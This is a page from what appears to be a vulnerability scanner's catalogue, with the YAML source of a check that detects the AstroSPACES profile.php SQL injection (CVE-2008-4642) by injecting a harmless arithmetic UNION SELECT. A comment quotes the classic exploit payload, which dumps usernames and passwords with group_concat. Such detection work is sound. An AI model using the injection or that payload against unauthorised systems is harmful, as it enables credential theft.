AstroSPACES — 1 vulnerability check
noctis ships 1 vulnerability check for AstroSPACES, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
AstroSPACES <= 1.1.1 profile.php id SQL injection
| CVE | CVE-2008-4642 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/astrospaces/CVE-2008-4642.yaml |
AstroSPACES 1.1.1 and earlier put the id parameter of profile.php (action=view) unfiltered into an SQL query, allowing unauthenticated SQL injection that can expose the user table, including account names and passwords.
Under the web root and /astrospaces, this check first confirms the "Powered By AstroSPACES" footer and that profile.php?action=view for a member that does not exist does not contain a random number. It then requests the same page with a UNION SELECT of 14 columns, each holding the sum of two random numbers written as an expression. The profile page prints the injected row, so the sum appearing in the response proves the database evaluated the injected expression. Nothing is written and no data is read from the database.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{adir}}/index.php - HTTP(S) request
GET {{adir}}/profile.php?action=view&id=0 - HTTP(S) request
GET {{adir}}/profile.php?action=view&id=0+UNION+SELECT+{{sc.cols}} - Parses / computes the next value with a Rhai script
- Checks
res.foundfor^UNION$→ finding QoD 97: AstroSPACES profile.php id SQL injection (CVE-2008-4642)
References:
Feed source — tests/vulnerabilities/astrospaces/CVE-2008-4642.yaml
# AstroSPACES 1.1.1 and earlier — profile.php id SQL injection (CVE-2008-4642)
#
# profile.php?action=view&id=<n> puts the id parameter unfiltered into the
# SELECT that loads a member profile (14 columns). The classic exploit
# appends "UNION SELECT 1,group_concat(username,0x3a,password),3,...,14 from
# users" and the profile page then lists the injected values. No AstroSPACES
# source is public any more; the request shape follows the advisory.
#
# Detection (per candidate install dir: web root, /astrospaces):
# 0. Control — index.php must carry the "Powered By AstroSPACES" footer, and
# profile.php?action=view&id=0 (no such member) must answer without the
# sum computed below.
# 1. QoD 97 — id=0 UNION SELECT A+B,A+B,...,A+B (14 columns, random 6-digit
# A/B). The profile page prints the injected row, so the sum A+B can
# only appear in the body when the database evaluated our arithmetic; the
# request itself only carries "A+B" and never the sum.
#
# Read-only: a constant SELECT only, nothing is written and no data is read
# from the database.
#
# Ported from OpenVAS/Greenbone NVT `2008/gb_astrospace_sql_inj_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.800118, GPL-2.0-only). Differences: the NASL
# injects group_concat(username,password) and only looks for the static
# "<td>Username :</td>" label, which any profile page contains (false
# positive on patched installs that print a member row); here the injected
# values are computed constants, the label is not used, and nothing is
# extracted from the users table.
# CVSS: NVD carries only a CVSS v2 score (7.5).
uid: aef0b5f4-d221-4d00-8d5a-453d82173cec
name: "AstroSPACES <= 1.1.1 profile.php id SQL injection (CVE-2008-4642)"
description: |
AstroSPACES 1.1.1 and earlier put the id parameter of profile.php
(action=view) unfiltered into an SQL query, allowing unauthenticated SQL
injection that can expose the user table, including account names and
passwords.
Under the web root and /astrospaces, this check first confirms the
"Powered By AstroSPACES" footer and that profile.php?action=view for a
member that does not exist does not contain a random number. It then
requests the same page with a UNION SELECT of 14 columns, each holding the
sum of two random numbers written as an expression. The profile page prints
the injected row, so the sum appearing in the response proves the database
evaluated the injected expression. Nothing is written and no data is read
from the database.
cves: [CVE-2008-4642]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [astrospaces, php, sqli, union-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2008-4642"
steps:
- id: gen-operands
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let e = "" + a + "%2B" + b;
#{ a: a, b: b, sum: "" + (a + b), cols: e + "," + e + "," + e + "," + e + "," + e + "," + e + "," + e + "," + e + "," + e + "," + e + "," + e + "," + e + "," + e + "," + e }
store_as: sc
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-idx
action: set_var
var_name: idx
var_value: {status: 0, body: null}
loop:
over: ["", "/astrospaces"]
var: adir
- id: init-ctl
action: set_var
var_name: ctl_resp
var_value: {status: 0, body: null}
- id: init-inj
action: set_var
var_name: inj_resp
var_value: {status: 0, body: null}
- id: index
action: http_request
method: GET
port: "{{port}}"
path: "{{adir}}/index.php"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: idx
- id: control
action: http_request
method: GET
port: "{{port}}"
path: "{{adir}}/profile.php?action=view&id=0"
condition: 'idx.status == 200 && type_of(idx.body) == "string" && ereg("(?i)Powered By AstroSPACES", idx.body)'
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: ctl_resp
- id: inject
action: http_request
method: GET
port: "{{port}}"
path: "{{adir}}/profile.php?action=view&id=0+UNION+SELECT+{{sc.cols}}"
condition: 'ctl_resp.status == 200 && type_of(ctl_resp.body) == "string" && stridx(ctl_resp.body, sc.sum) < 0'
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: inj_resp
- id: check
action: script
code: |
let b = if type_of(inj_resp.body) == "string" { inj_resp.body } else { "" };
let ok = inj_resp.status == 200 && stridx(b, sc.sum) >= 0;
#{ ok: ok, found: if ok { "UNION" } else { "" } }
store_as: res
- id: report
action: match
source: res.found
pattern: "^UNION$"
condition: "res.ok"
on_match:
finding:
title: "AstroSPACES profile.php id SQL injection (CVE-2008-4642)"
description: "The database evaluated arithmetic injected through a UNION SELECT in the id parameter of profile.php (action=view): an unauthenticated attacker can run arbitrary SQL against the AstroSPACES database and read its content, including member names and passwords."
remediation: "Upgrade AstroSPACES to a release that casts the id parameter to an integer, or replace it with a maintained social platform; restrict access to profile.php meanwhile."
confidence_delta: 0.65
qod: 97
evidence: "UNION SELECT of 14 columns {{sc.a}}+{{sc.b}} on {{adir}}/profile.php?action=view: the response contains {{sc.sum}} (the control request without the injection does not)"
stop: true